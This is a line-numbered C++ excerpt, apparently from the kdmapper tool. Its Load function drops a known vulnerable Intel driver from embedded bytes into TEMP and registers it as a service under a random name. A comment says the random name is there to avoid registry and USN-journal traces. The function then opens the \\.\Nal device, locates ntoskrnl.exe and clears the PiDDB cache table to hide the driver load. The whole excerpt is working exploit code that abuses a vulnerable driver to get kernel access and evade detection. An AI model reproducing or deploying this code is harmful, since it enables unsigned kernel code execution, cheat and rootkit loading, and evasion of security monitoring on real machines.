| 33 | } |
| 34 | |
| 35 | HANDLE intel_driver::Load() { |
| 36 | srand((unsigned)time(NULL) * GetCurrentThreadId()); |
| 37 | |
| 38 | //from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name |
| 39 | if (intel_driver::IsRunning()) { |
| 40 | Log(L"[-] \\Device\\Nal is already in use." << std::endl); |
| 41 | return INVALID_HANDLE_VALUE; |
| 42 | } |
| 43 | |
| 44 | //Randomize name for log in registry keys, usn jornal and other shits |
| 45 | memset(intel_driver::driver_name, 0, sizeof(intel_driver::driver_name)); |
| 46 | static const char alphanum[] = |
| 47 | "abcdefghijklmnopqrstuvwxyz" |
| 48 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; |
| 49 | int len = rand() % 20 + 10; |
| 50 | for (int i = 0; i < len; ++i) |
| 51 | intel_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; |
| 52 | |
| 53 | |
| 54 | std::wstring driver_path = GetDriverPath(); |
| 55 | if (driver_path.empty()) { |
| 56 | Log(L"[-] Can't find TEMP folder" << std::endl); |
| 57 | return INVALID_HANDLE_VALUE; |
| 58 | } |
| 59 | |
| 60 | _wremove(driver_path.c_str()); |
| 61 | |
| 62 | if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(intel_driver_resource::driver), sizeof(intel_driver_resource::driver))) { |
| 63 | Log(L"[-] Failed to create vulnerable driver file" << std::endl); |
| 64 | return INVALID_HANDLE_VALUE; |
| 65 | } |
| 66 | |
| 67 | if (!service::RegisterAndStart(driver_path)) { |
| 68 | Log(L"[-] Failed to register and start service for the vulnerable driver" << std::endl); |
| 69 | _wremove(driver_path.c_str()); |
| 70 | return INVALID_HANDLE_VALUE; |
| 71 | } |
| 72 | |
| 73 | HANDLE result = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); |
| 74 | |
| 75 | if (!result || result == INVALID_HANDLE_VALUE) |
| 76 | { |
| 77 | intel_driver::Unload(result); |
| 78 | return INVALID_HANDLE_VALUE; |
| 79 | } |
| 80 | |
| 81 | ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe"); |
| 82 | if (ntoskrnlAddr == 0) { |
| 83 | Log(L"[-] Failed to get ntoskrnl.exe" << std::endl); |
| 84 | intel_driver::Unload(result); |
| 85 | return INVALID_HANDLE_VALUE; |
| 86 | } |
| 87 | |
| 88 | if (!intel_driver::ClearPiDDBCacheTable(result)) { |
| 89 | Log(L"[-] Failed to ClearPiDDBCacheTable" << std::endl); |
| 90 | intel_driver::Unload(result); |
| 91 | return INVALID_HANDLE_VALUE; |
| 92 | } |
nothing calls this directly
no outgoing calls
no test coverage detected